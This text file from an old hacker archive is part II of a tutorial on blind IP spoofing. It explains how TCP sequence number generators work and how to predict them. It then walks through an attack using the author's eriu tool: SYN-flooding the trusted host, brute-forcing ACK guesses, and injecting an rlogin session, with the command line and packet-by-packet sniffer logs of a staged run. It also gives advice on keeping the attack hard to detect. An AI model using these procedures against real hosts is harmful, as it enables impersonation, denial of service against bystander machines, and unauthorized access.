home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Attack⁄DoS / SpoofingAttackPaper.sit / SpoofingAttackPaper / IP-spoof.2 < prev    next >
Text File  |  1998-01-14  |  100KB  |  2,534 lines

  1.              -=[ A short overview of IP spoofing: PART II ]=-
  2.                     -=[ Part of 'The Packet Project']=-
  3.                                                   
  4.             (Includes Source for Linux 1.3.X and later kernels)
  5.     All text and Source code written by Brecht Claerhout (Copyright 1996-7)
  6.                  All source tested on Linux kernel 2.0.X
  7.                All packet data captured with Sniffit 0.3.5
  8. -------------------------------------------------------------------------------
  9.  
  10. PART II: Advanced spoofing (Blind) 
  11. ----------------------------------
  12.  
  13. 0. Introduction     
  14. 0.1 What
  15. 0.2 For whom
  16. 0.3 Disclaimer
  17. 0.4 License
  18.  
  19. 1. Description of source code
  20.  
  21. 2. General information
  22. 2.1 Source Routed IP
  23. 2.2 Rerouting
  24.  
  25. 3. Blind spoofing
  26. 3.1 Sequence number generation
  27. 3.1.1 Situation of the problem
  28. 3.1.2 Sequence number generation
  29. 3.1.2.a The old 64K rule
  30. 3.1.2.b Time related generation
  31. 3.1.2.c The 'pain in the ass' generation
  32. 3.2 Sequence number prediction
  33. 3.2.a 64K rule
  34. 3.2.b Time relation
  35. 3.3 The attack
  36. 3.3.1 Connection initiation
  37. 3.3.1.a 64K rule
  38. 3.3.1.b Time relation
  39. 3.3.2 Sending the data
  40. 3.3.3 The attack
  41. 3.3.4 Full log
  42. 3.3.5 Detection, and avoiding it
  43. 3.3.5.a Probes
  44. 3.3.5.b RST packets
  45. 3.3.5.c The ACK guesses
  46. 3.3.5.d Retransmission
  47.  
  48. 4. How to use the source code
  49. 4.1 SEQ-scan
  50. 4.2 Eriu
  51. 4.3 Improvements
  52.  
  53. Appendix: Short note about rlogin
  54. Appendix: Source Code
  55.  
  56. -------------------------------------------------------------------------------
  57.                     PART II: Advanced spoofing (Blind) 
  58. ------------------------------------------------------------------------------
  59.  
  60. 0. Introduction
  61. ---------------
  62.  
  63. This is the sequel to 'A short overview of IP spoofing: PART I' that 
  64. discussed Non Blind Spoofing. I actually wasn't planning on doing 'PART II' 
  65. anymore. But the many mails I received asking for 'PART II' made me put it 
  66. together anyway. 
  67. I'm afraid it will disappoint you, but read it anyway, maybe you'll like
  68. some of the source code...
  69.  
  70. 0.1 What
  71. --------
  72.  
  73. This document describes some IP spoofing attacks and it gives you example 
  74. source code of the programs used on these attacks (and packet sniffer logs, so
  75. you see what exactly happens).
  76.  
  77. If you have interesting remarks, comment, idea's, ... please contact me
  78.     Brecht Claerhout <Coder@reptile.rug.ac.be>
  79.  
  80. If YOU think of yourself, you are "3><Tr3/\/\3lY 3Le3T", please don't bother 
  81. contacting me. 
  82. Flames >/dev/null or >/dev/echo depends on how idiotic you are.
  83.  
  84. It is not wise to use what you don't know/understand, so read this before 
  85. trying anything... it will only take a few minutes, and probably save you 
  86. some hours of failure...
  87.  
  88. This code is not crippled in the usual way (removing some vital part), 
  89. the power is limited by it's briefness, because I wanted to keep 
  90. everything simple and illustrative (but working). It's a simple job to 
  91. improve it, and that is the goal of this doc, that you improve it yourself.
  92.  
  93. Finally, I want to thank Fyodor <fyodor@dhp.com> for correcting most of my 
  94. grammar and spelling errors, any errors left are fully my responsibility, not 
  95. his.
  96.  
  97. 0.2 For whom
  98. ------------
  99.  
  100. For people with a small knowledge of TCP/IP, some knowledge on C (only 
  101. the basic setup) and a little general UNIX knowledge.
  102. It's no use reading this document if you are completely unaware of these 
  103. things, but mind you, only a little knowledge is enough.
  104.  
  105. 0.3 Disclaimer
  106. --------------
  107.  
  108. I am in no way responsible for the use of this program. By using this 
  109. software and reading this document you accept the fact that any damage 
  110. (emotional, physical, data loss, ...) caused by the use or storage of 
  111. these programs/documents is not MY responsibility.
  112.  
  113. I state that during the writing and testing of this document/source, I 
  114. never violated any law. All spoofing was done between machines where I had 
  115. legit root access, or where I had the permission from the legit root.
  116.  
  117. 0.4 License
  118. -----------
  119.  
  120. All source code and text is freely available. You can spread it, as long 
  121. as you don't charge for it (exceptions are a small reproduction fee, if 
  122. it isn't spread together with commercial software, texts.)
  123. You may not spread parts of the document, it should be spread as one 
  124. package. You may not modify the text and/or source code. 
  125.  
  126. You can use the spoofit.h in your own programs as long as they are not 
  127. commercial (i.e. FREE), and you give me the credits for it in your 
  128. documentation (either separate docs, or included in source). In that case 
  129. you can modify the spoofit_v3.h file, if it is mentioned.
  130.  
  131.  
  132. 1. Description of source code
  133. ----------------------------
  134.  
  135. spoofit_v3.h - a new version of the spoofit library.
  136.  
  137. SEQ-scan.c   - program to analyze the SEQ nr generator of a host.
  138.  
  139. eriu.c       - an automated blind spoofing utility.
  140.  
  141.  
  142. 2. General information
  143. ----------------------
  144.  
  145. What is IP spoofing? IP spoofing is pretending to be someone else on IP
  146. level. The reason for this is that we want to abuse a relation of trust that
  147. is based on identification by IP address (this is not the sole purpose, but
  148. the most occurring). 
  149.  
  150. So we will have to find a trusted relation between the host we want to 
  151. attack and another host. The most popular trust-relation is the '.rhosts' 
  152. file, as you know many other exist. I won't discuss this topic here. 
  153.  
  154. Mind you this is not the only use for spoofing, suppose you have some
  155. information on a system (password file and cracked it) obtained by certain
  156. security holes (like CGI scripts), but no other connections are allowed
  157. except from some specified hosts ('hosts.allow', 'hosts.deny'). Well you can
  158. spoof a connection, make some 'adjustments' and open the system to you...
  159.  
  160. Throughout this document I will use the following names for the hosts:
  161.   X is the target host (the one we want to hack).
  162.   T is the host that is trusted by X.
  163.   A is our host (the Attacker).
  164.  
  165. A has no relation whatsoever with X or T, this was not the case when we
  166. discussed non-blind spoofing.
  167. Now the problem with blind spoofing is that we do not see the contence of 
  168. the packets that are generated by X, let me explain:
  169. All the packets we (host A) send are apparently coming from host T (we 
  170. spoof them as from T to X). So when X receives such a packet, it thinks T is 
  171. contacting him (which is our goal). 
  172. Now, host X will send all its answers (packets) to T, they will never be 
  173. seen by host A. Thus, we will NOT be able to see what happens (and we need to 
  174. see it, see below Sequence numbers 3.1). 
  175. There are methods to avoid this problem, the methods are briefly 
  176. mentioned below.
  177.  
  178. 2.1 Source Routed IP
  179. --------------------
  180.  
  181. The IP protocol has a feature (an option) that is called Source Routing 
  182. (either 'strict' or 'loose') that makes it possible for the sender to specify 
  183. a route to follow. 
  184. The reverse route is recorded back in the IP header (in the place of the 
  185. forward route) and the receiver has to send any answers along the same route.
  186.  
  187. So if we use Source Routed IP packets we could spoof a packet from 
  188. host A and include a route that leads to us instead of to the real host T.
  189. Luckily (depending on what side you look at it) this isn't possible 
  190. in general. Most routers, gateways and hosts, drop Source Routed IP packets 
  191. (standard manufacturer configuration). To give an example: when compiling a 
  192. Linux kernel (in the 'make config' stage) you are explicitly asked if you 
  193. want to accept or drop Source Routed IP packets.
  194.  
  195. So we can generally say this method has a very low chance of success.
  196.  
  197. 2.2 Rerouting 
  198. -------------
  199.  
  200. A similar method to retrieve the 'invisible' packets, is to mess with the 
  201. route by sending spoofed routing packets to the target host and gateways 
  202. on the path. For more information, read up on Routing protocols such as 
  203. RIP, EGP, ... (See "Internet Official Protocol Standards" for goodies).
  204. This is not discussed in this document, maybe I'll write something up 
  205. later, maybe not...
  206.  
  207. NOTE: ICMP redirect springs to mind here, but remember it only applies to 
  208.       existing connections and may only be sent from the first gateway on 
  209.       the path, which turns them pretty useless for our purpose.
  210.  
  211.  
  212. 3. Blind spoofing 
  213. -----------------
  214.  
  215. This brings us to the real subject of my writing. Blind spoofing attacks.
  216.  
  217. 3.1 Sequence number generation
  218. ------------------------------
  219.  
  220. 3.1.1 Situation of the problem
  221. ------------------------------
  222.  
  223. As you know, TCP uses a SEQ/ACK system (Sequence nr./Acknowledge) to do 
  224. what it is supposed to do.
  225.  
  226. A connection is initiated like this in it's simplest form (the well known 
  227. three-way-handshake):
  228.  
  229. Packet 1: Client -> Server
  230.           flags: SYN            ("I want to initiate a connection")
  231.           SEQ  : clientnr
  232. Packet 2: Server -> Client
  233.           flags: SYN, ACK       (ACK: The request is being acknowledged)
  234.           SEQ  : servernr
  235.           ACK  : clientnr+1
  236. Packet 3: Client -> Server
  237.           flags: ACK        
  238.           SEQ  : clientnr+1
  239.           ACK  : servernr+1 
  240.  
  241. When you think back to what I said, in our spoofed case we will have: 
  242.  
  243. Packet 1: T -> X (actually A -> X but we spoof it)
  244.           flags: SYN           
  245.           SEQ  : clientnr
  246. Packet 2: X -> T
  247.           flags: SYN, ACK
  248.           SEQ  : servernr
  249.           ACK  : clientnr+1
  250.  
  251. But what now? Because we (host A) can't see Packet 2, we cannot use 
  252. 'servernr' to calculate the required ACK (servernr+1) for Packet 
  253. three. We will have to predict it one way or another, so that Packet 
  254. 3 can be:
  255.  
  256. Packet 3: T -> X (actually A -> X but we spoof it)
  257.           flags: ACK        
  258.           SEQ  : clientnr+1
  259.           ACK  : guessed_servernr+1
  260.  
  261. If guessed_servernumber is incorrect, we have failed to initiate a 
  262. connection, a second problem is, that we don't know if we have failed or 
  263. not.
  264.  
  265. Technical Note:
  266. I made it a bit too simple, when host X sends it's answer:
  267.  
  268. Packet 2: X -> T
  269.           flags: SYN, ACK
  270.           SEQ  : servernumber
  271.           ACK  : clientnr+1
  272.  
  273. Host T will receive the packet! Host T doesn't know of any connection 
  274. initiated to X, so it tells X to stop the connection initiation, as it is 
  275. bogus. It does that by sending a RST (reset) to host X. 
  276. If the RST reaches host X, the connection we are trying to set up, will 
  277. not get established.
  278. You understand, that we have to prevent T from doing such things.
  279. You could wait until T is off line, or you could try some denial of 
  280. service attack to take host T down. The 'standard' (classical) procedure is to 
  281. perform a SYN flood from A to T.
  282. You SYN flood the port on T that you are faking, when it is flooded, it 
  283. will not be able to handle further incoming packets.
  284. So it will not be able to see 'Packet 2' and send it's deadly RST.
  285. You all know more and more systems get SYN flood protection, so be a bit 
  286. creative here, any technique that disables a port on host T is good. 
  287.  
  288. 3.1.2 Sequence number generation
  289. --------------------------------
  290.  
  291. Now how to predict these annoying SEQ's?
  292. To find an answer to that problem, we will have to look at how the Server 
  293. (host X in our case), chooses 'servernr'.
  294. The purpose of the original TCP design was to avoid data transmission problems,
  295. not to keep hackers out. Thus the older systems, or OS's based on them are (as
  296. always) the most vulnerable.
  297.  
  298. There are roughly speaking 3 ways of sequence number generation.
  299. (Note that I don't discuss how the SEQ-generators are started)
  300. (mind you SEQ number space is 4 bytes (0 to 2^32-1))
  301.  
  302. 3.1.2.a The old 64K rule
  303.  
  304. This system is surprisingly still often used, and a lot of programs that have 
  305. something to with spoofing, rely on this rule.
  306. It goes like this:
  307.   - increase the SEQ-counter every second with a constant (mostly 128000)
  308.   - if there is a connection initiated, increase the SEQ-counter 
  309.     with another constant (mostly 64000)
  310.  
  311. As you see, these numbers are very easy to predict. 1 second is a very 
  312. large period in the computer world. 
  313. This '64K rule' is still used in OSF, older SunOS versions, ... 
  314.  
  315. 3.1.2.b Time related generation
  316.  
  317. A very popular and simple method. It allows the SEQ-generator to generate 
  318. pseudo random numbers (maybe 'random' is not the correct word here). After 
  319. initialization at boot time, the SEQ-generator is increased every 
  320. 'x time_units'.
  321. Note that 'time_units' on computers are not always perfect, and not all 
  322. 'time_units' are equal in length, depending on how they are measured, on 
  323. the load of the computer, etc... (discussing this would take us to far, 
  324. is doesn't matter anyway).
  325.  
  326. An example is the 1 usec clock on older LINUX kernels, after initialization, 
  327. the SEQ-generator was increased by one every microsec (if you still have 
  328. such a kernel lying around, have a look at the code).
  329.  
  330. 3.1.2.c The 'pain in the ass' generation
  331.  
  332. An example of this is to be found in the 'new' LINUX kernel (have a look 
  333. at the code if you dare ;)). Random generators are used to generate SEQ 
  334. numbers, what makes the SEQ numbers nearly impossible to guess.
  335.  
  336. 3.2 Sequence number prediction
  337. ------------------------------
  338.  
  339. Now how to detect these generators described above? Well for that we will 
  340. use the program 'SEQ-scan.c' I've put together. Let me explain what 
  341. it exactly does (see source code also).
  342.  
  343. What we do to test the sequence generator, is send some SYN packets from 
  344. host A (not spoofed, as we want to see the replies back). Then we look at 
  345. what host X sends us as SEQ, we record and study them. 
  346.  
  347. 3.2.a 64K rule
  348.  
  349. This is quite easy, I just calculate the differences between 2 SEQ's that 
  350. are generated by host X and see if it can be divided by 64000. 'SEQ-scan.c' 
  351. sends more then 2 packets to eliminate wrong conclusions in case of 
  352. error-transmission, or just pure luck (see function 'get_seq_nrs' and 
  353. 'easy_64k_rule').
  354.  
  355. 3.2.b Time relation
  356.  
  357. Time relation detection scheme's are mostly based on the RTT (Round Trip 
  358. Time). The RTT is the time between the sending of a packet and the 
  359. receiving of the answer on that packet.
  360. You can find the time recording in the function 'get_seq_nrs':
  361.  
  362.   transmit_TCP(fd_send, NULL, 0,0,0, SOURCE, port, TARGET, TARGET_P,
  363.                                                       STARTSEQ+i,0, SYN);  
  364.   stat=wait_packet(fd_receive,&pinfo,TARGET,TARGET_P,SOURCE,port,SYN,20);
  365.   gettimeofday(&(time_list[i]),NULL);
  366.  
  367. You see I only record the time AFTER receiving the answer. When 
  368. calculating the time differences, they will correspond with the time 
  369. intervals on which host X has generated its SEQ.
  370. From those time differences and the recorded SEQ differences I calculate the 
  371. 'average generator increment/per usec'. I then study how much the real 
  372. generator increments differ from my calculated average. If there isn't much 
  373. difference, we have found ourself a time relation. If there are big 
  374. differences, sequence number generation is not done by a simple time 
  375. relation.
  376. (I calculate the quadratic error to give me a number for decision making, 
  377. I also remove the minimum and maximum value to avoid to much interference 
  378. from bad luck, for more details take a look at the function 
  379. 'simple_time_relation'. Experience showed me, this is good enough.)
  380.  
  381. As for random number generation: SEQ scan will fail to find a relation, 
  382. resulting in very high quadratic error numbers. 
  383.  
  384. 3.3 The attack 
  385. --------------
  386.  
  387. 3.3.1 Connection initiation
  388. ---------------------------
  389.  
  390. 3.3.1.a 64K rule
  391.  
  392. Quite easy, as you can expect. 
  393.   1. cripple host T (e.g. SYN flood)
  394.   2. send a SYN from A -> X (real packet)
  395.   3. get the SEQ-nr from the SYN|ACK answer send to A by X
  396.   4. From that SEQ-nr, calculate the following number generated by X 
  397.      (GUESS = SEQ + 64000)
  398.   5. Send a SYN from A -> X (spoofed from T)
  399.   6. wait, and send a SYN|ACK from A -> X (spoofed from T)
  400.      using the newly calculated GUESS + 1 as ACK.
  401.   
  402. (Now, you will not be always successful, but this is a 90% or more sure 
  403. attack, besides we will use the same technique as described in 3.3.1.b, 
  404. for firing multiple packets.)
  405.  
  406. The question that now comes to mind is:
  407. We have a connection, so we 'know' the SEQ'nr. that X expects from us, but if 
  408. X sends data, we don't know exactly how much and when, so we have lost 
  409. track of the ACK's that X expects. 
  410. This will make us unable to send correct ACK's, so are we in trouble now??
  411.  
  412. As you probably guessed, the answer is: "NO, we are cool". 
  413. What will happen if we don't ACK the data send by X, is that X will think
  414. the packets got lost somewhere. After a certain timeout (not receiving ACK)
  415. it will do a retransmission. The server will send no more data (except the
  416. bytes in his window, see TCP manual) to the client (that is not responding).
  417. This will NOT affect data coming from the client.
  418. So X keeps on processing our data, but is unable to send the results back, 
  419. as we don't care about the answers (we can't see them anyway), this is no 
  420. problem for us.
  421.  
  422. 3.3.1.b Time relation
  423.  
  424. Basically, we will do the same thing as described above, unfortunately our 
  425. success chances are lowered considerably.
  426.  
  427.   1. cripple host T (e.g. SYN flood)
  428.   2. Predict the next SEQ of X in some way
  429.   3. Send a SYN from A -> X (spoofed from T)
  430.   4. wait, and send a SYN|ACK from A -> X (spoofed from T)
  431.      using the newly calculated GUESS + 1 as ACK.
  432.  
  433. Point 2. isn't dead-easy here. We know there is a time relation, so what 
  434. we could do is measure and extrapolate (= guess) the RTT (round trip 
  435. time), and with the last collected SEQ nr. from the RTT measuring, we can 
  436. calculate a new one.
  437. What I will do here, is do a few probes for SEQ'nr's and calculate the 
  438. new SEQ nr from the average increment (calculated from the probes). This 
  439. generally is the same thing as RTT calculations (think about it), but is a 
  440. lot easier to do.
  441.  
  442. Now we see that point 2. pumps the uncertainty up tremendously, now what 
  443. can we do to push it down a little again?
  444. We will send multiple guesses to the server (multiple packets with different
  445. ACK guesses at point 4.).
  446. It is interesting to have a look at how the server behaves when you do such
  447. a guess: 
  448.  
  449. 1) X is 192.168.66.6, T is 1.1.1.1, and the IP of A doesn't matter
  450.    First of all a SYN is send. (after the SEQ prediction of course)
  451.  
  452. TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.9666-192.168.66.6.23
  453.    SEQ (hex): FF00FFEE      FLAGS: ----S-
  454.  
  455. 2) X answers with a SYN/ACK  
  456.  
  457. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.9666
  458.    SEQ (hex): AEBC60BB   ACK (hex): FF00FFEF
  459.    FLAGS: -A--S-   Window: 3C00
  460.  
  461. 3) Now suppose we send some spoofed packets
  462.    Our attack starts at AEBC60C6 (which is bigger then the correct AEBC60BC)
  463.  
  464. TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.9666-192.168.66.6.23
  465.    SEQ (hex): FF00FFEF   ACK (hex): AEBC60C6
  466.    FLAGS: -A----   Window: 7C00
  467.  
  468. 4) Look what happens, X sends a RST packet. Don't worry, it does NOT interfere 
  469.    with our attack, but it raises network traffic.
  470.  
  471. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.9666
  472.    SEQ (hex): AEBC60C6      FLAGS: ---R--
  473.  
  474. Let's do that again:
  475.  
  476. 1) Same setup, SYN and the response SYN/ACK 
  477.  
  478. TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.10666-192.168.66.6.23
  479.    SEQ (hex): FF00FFEE      FLAGS: ----S-
  480.  
  481. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.10666
  482.    SEQ (hex): E1DC0057   ACK (hex): FF00FFEF
  483.    FLAGS: -A--S-   Window: 3C00
  484.  
  485. 2) Now we send a packet with an incorrect guess (ACK to small)
  486.    (ACK is E1DC004E, should be E1DC0058)
  487.  
  488. TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.10666-192.168.66.6.23
  489.    SEQ (hex): FF00FFEF   ACK (hex): E1DC004E
  490.    FLAGS: -A----   Window: 7C00
  491.  
  492. 3) Look what happens, nothing (no RST here). There is a retransmission of the 
  493.    SYN/ACK after some time, as no completion of the handshake is done.
  494.  
  495. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.6.23-1.1.1.1.10666
  496.    SEQ (hex): E1DC0057   ACK (hex): FF00FFEF
  497.    FLAGS: -A--S-   Window: 3C00
  498.  
  499. 4) We can go on a while with this, until suddenly we 'hit' the correct ACK.
  500.  
  501. TCP Packet ID (from_IP.port-to_IP.port): 1.1.1.1.10666-192.168.66.6.23
  502.    SEQ (hex): FF00FFEF   ACK (hex): E1DC0058
  503.    FLAGS: -A----   Window: 7C00
  504.  
  505. 5) Now the connection is established, look at the netstat output on host X:
  506.  
  507. Proto Recv-Q Send-Q Local Address           Foreign Address         State
  508. tcp        0      0 sniffit:telnet          1.1.1.1:10666           ESTABLISHED
  509.  
  510. 6) Following guesses with wrong ACK's will not interfere your connection
  511.    (nor generate RST's).
  512.    Now you can continue with the attack and insert your data (discussed 
  513.    further)
  514.  
  515. So summed up, if our ACK's are to big, we cause the generation of a 
  516. RST packet, what will make our attack easier to detect. It is advised you 
  517. start with the smallest guess, and increment them, not the other way around.
  518.  
  519. Unfortunately, this is NOT TRUE for all OS's, the SunOS's I played with for
  520. example ALWAYS generated RST's. So if you are attacking such a system, you
  521. can't avoid the RST generation.
  522.  
  523. How to decide which span ACK's to brute force (because that is kinda what you 
  524. are doing). Well, there is no real general rule. Best thing you can do is run 
  525. the SEQ-nr predictor you are going to use on a host for a sec, and compare the 
  526. guesses with the real numbers.
  527. How to use the source code included with this text is discussed later.
  528.  
  529. NOTE: at the risk of being repetitive, but to be sure you get it right:
  530.       The RST packets DO NOT reset your attempt to set up a connection.
  531.       They DO NOT defend host X against your attack.
  532.  
  533. 3.3.2 Sending the data
  534. ----------------------
  535.  
  536. Now that we have initiated a connection, we should be sending some data 
  537. 'along the lines'.
  538. After the connection is initiated the ACK's really don't matter anymore.
  539. Like I explained before, we don't care about any answers the server wants to
  540. send, as long as our data is accepted.
  541.  
  542. What to send on a connection?? Well that is up to you, it depends on the
  543. service you want to attack. In 'eriu.c' I use a command file that offers you 
  544. the possibility of attacking any service with the same program.
  545.  
  546. 3.3.3 The attack 
  547. ----------------
  548.  
  549. What I described above sounds fairly simple. But you have to realize, the 
  550. SEQ guessing won't be the only problem you will have to face in most cases.
  551. There are many ways a site can be protected against spoofing attacks, the
  552. most obvious is to remove all trusted relations. Also OS's like Linux have a
  553. good SEQ'nr generator, which greatly improves the defense against spoofing.
  554.  
  555. Firewalls and all kinds of packet filters (you need something to base your
  556. guess upon right?!) or additional identification scheme's can all make an 
  557. attack unlikely to succeed.
  558.   
  559. Take IDENT for example, this extremely simple protocol can already cause an
  560. important increase of problems for an attacker.
  561. Not only do you have the problem of guessing the SEQ'nr. of your 'attack' 
  562. connection, but also you have the uncertainty of the SEQ nr generated by the 
  563. IDENT connection and the source port of that connection.
  564.  
  565. On a '64K ruler' this is still relatively easy if you can attack on 
  566. 'silent' periods (= when there is nearly no traffic to the system), you 
  567. can predict the port IDENT will use (ports are used sequentially), and 
  568. the SEQ nr. can easily be guessed, as the generator is easily predicted.
  569.  
  570. 3.3.4 Full log
  571. --------------
  572.  
  573. This is the full log of a simulated attack with 'Eriu'. It was done with the
  574. command line (See below for use of 'Eriu', and for more information on the
  575. command file, here 'rlogin.demo'):
  576. './eriu -s 192.168.66.66:1023 -t 192.168.66.1:513 -f rlogin.demo -c 5 -F'
  577.  
  578. The attacked host is 192.168.66.1, we pretend to be 192.168.66.66 (the
  579. attack was done from 192.168.66.6). It is a faked attack as we force the
  580. ACK, this was done to be able to limit the packet count to 5. I also show you 
  581. the responses the attacked host send to make everything clearer, again you 
  582. normally don't see them.
  583.  
  584. 1) First packet to initiate a connection.
  585.  
  586. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  587.    SEQ (hex): 223EE666      FLAGS: ----S-
  588.  
  589. 2) This packet we normally don't see...
  590.  
  591. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  592.    SEQ (hex): 19B24FC3   ACK (hex): 223EE667
  593.    FLAGS: -A--S-   Window: 3C00
  594.  
  595. 3) Here we do a ACK guess of 5 different ACK's. 5 is a very small number, in
  596.    reality you should use larger quantities (10000 is not exceptional) of 
  597.    attack packets, this here is just a demonstration. (To much packets would 
  598.    unnecessarily prolong this text).
  599.    ACK space from 19B24FC1 to 19B24FC5 is scanned, with 19B24FC4 the correct
  600.    ACK
  601.  
  602. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  603.    SEQ (hex): 223EE667   ACK (hex): 19B24FC1
  604.    FLAGS: -A----   Window: 7C00
  605.  
  606. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  607.    SEQ (hex): 223EE667   ACK (hex): 19B24FC2
  608.    FLAGS: -A----   Window: 7C00
  609.  
  610. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  611.    SEQ (hex): 223EE667   ACK (hex): 19B24FC3
  612.    FLAGS: -A----   Window: 7C00
  613.  
  614. 4) This packet initiates the connection, although we do not know that.
  615.  
  616. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  617.    SEQ (hex): 223EE667   ACK (hex): 19B24FC4
  618.    FLAGS: -A----   Window: 7C00
  619.  
  620. 5) Attack continued
  621.  
  622. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  623.    SEQ (hex): 223EE667   ACK (hex): 19B24FC5
  624.    FLAGS: -A----   Window: 7C00
  625.  
  626. 6) Now that the connection is hopefully established we can start sending our
  627.    data. Here I spoof a rlogin connection, so I have to imitate the protocol
  628.    used with rlogin (See small Appendix about rlogin).
  629.  
  630. 7) This packet contains the first 4 null terminated strings to initiate a
  631.    rlogin session. Like I already mentioned with the 64k rule attack, the ACK
  632.    from now on, doesn't really matter if you don't care for what is returned by
  633.    the server. And as we can't see it anyway, be naturally don't care if how
  634.    much and what exactly the server sends back.
  635.  
  636. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  637.    SEQ (hex): 223EE667   ACK (hex): 19B24FC1
  638.    FLAGS: -AP---   Window: 7C00
  639. Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  640.  45 E 00 . 00 . 40 @ 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 23 # C0 . A8 . 42 B 42 B
  641.  C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 67 g 19 . B2 . 4F O C1 .
  642.  50 P 18 . 7C | 00 . C6 . 42 B 00 . 00 . 00 . 63 c 6F o 64 d 65 e 72 r 00 . 73 s
  643.  70 p 6F o 6F o 66 f 00 . 76 v 74 t 31 1 30 0 30 0 2F / 39 9 36 6 30 0 30 0 00 .
  644.  
  645. 8) Notice that the server acknowledges our data.
  646.  
  647. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  648.    SEQ (hex): 19B24FC4   ACK (hex): 223EE67F
  649.    FLAGS: -A----   Window: 3C00
  650.  
  651. 9) One null byte to inform us that the 4 null terminated strings were
  652.    received (see rlogin appendix).
  653.    (again, this is normally invisible for us)
  654.  
  655. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  656.    SEQ (hex): 19B24FC4   ACK (hex): 223EE67F
  657.    FLAGS: -AP---   Window: 3C00
  658. Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  659.  45 E 10 . 00 . 29 ) 29 ) B7 . 40 @ 00 . 3F ? 06 . 0C . 74 t C0 . A8 . 42 B 01 .
  660.  C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C4 . 22 " 3E > E6 . 7F .
  661.  50 P 18 . 3C < 00 . F6 . 02 . 00 . 00 . 00 .
  662.  
  663. 10) Window negotiation (see rlogin appendix).
  664.  
  665. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  666.    SEQ (hex): 223EE67F   ACK (hex): 19B24FC1
  667.    FLAGS: -AP---   Window: 7C00
  668. Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  669.  45 E 00 . 00 . 34 4 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 2F / C0 . A8 . 42 B 42 B
  670.  C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 7F . 19 . B2 . 4F O C1 .
  671.  50 P 18 . 7C | 00 . 42 B 1E . 00 . 00 . FF . FF . 73 s 73 s 00 . 19 . 00 . 50 P
  672.  00 . 00 . 00 . 00 .
  673.  
  674. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  675.    SEQ (hex): 19B24FC5   ACK (hex): 223EE68B
  676.    FLAGS: -A----   Window: 3C00
  677. Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  678.  45 E 10 . 00 . 28 ( 29 ) B8 . 40 @ 00 . 3F ? 06 . 0C . 74 t C0 . A8 . 42 B 01 .
  679.  C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C5 . 22 " 3E > E6 . 8B .
  680.  50 P 10 . 3C < 00 . F5 . FE . 00 . 00 .
  681.  
  682. 11) The password of user 'spoof' is 'spoof' (I didn't set up a trusted relation
  683.     doesn't matter anyway, just don't send a password ;))
  684.  
  685. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  686.    SEQ (hex): 223EE68B   ACK (hex): 19B24FC1
  687.    FLAGS: -AP---   Window: 7C00
  688. Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  689.  45 E 00 . 00 . 2E . 31 1 01 . 00 . 00 . 45 E 06 . 3F ? 35 5 C0 . A8 . 42 B 42 B
  690.  C0 . A8 . 42 B 01 . 03 . FF . 02 . 01 . 22 " 3E > E6 . 8B . 19 . B2 . 4F O C1 .
  691.  50 P 18 . 7C | 00 . 6D m 0A . 00 . 00 . 73 s 70 p 6F o 6F o 66 f 0A .
  692.  
  693. 12) Retransmission as we do not ACK anything.
  694.     But notice that our send data is ACK'ed, thus accepted.
  695.  
  696. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  697.    SEQ (hex): 19B24FC5   ACK (hex): 223EE691
  698.    FLAGS: -A----   Window: 3C00
  699. Packet ID (from_IP.port-to_IP.port): 192.168.66.1.513-192.168.66.66.1023
  700.  45 E 10 . 00 . 28 ( 29 ) B9 . 40 @ 00 . 3F ? 06 . 0C . 73 s C0 . A8 . 42 B 01 .
  701.  C0 . A8 . 42 B 42 B 02 . 01 . 03 . FF . 19 . B2 . 4F O C5 . 22 " 3E > E6 . 91 .
  702.  50 P 10 . 3C < 00 . F5 . F8 . 00 . 00 .
  703.  
  704. 13) Evil commands...
  705.     Here it is 'touch This_site_was_hacked', quiet evil, isn't it? 
  706.  
  707. TCP Packet ID (from_IP.port-to_IP.port): 192.168.66.66.1023-192.168.66.1.513
  708.    SEQ (hex): 223EE691   ACK (hex): 19B24FC1
  709.    FLAGS: -AP---   Window: 7C00
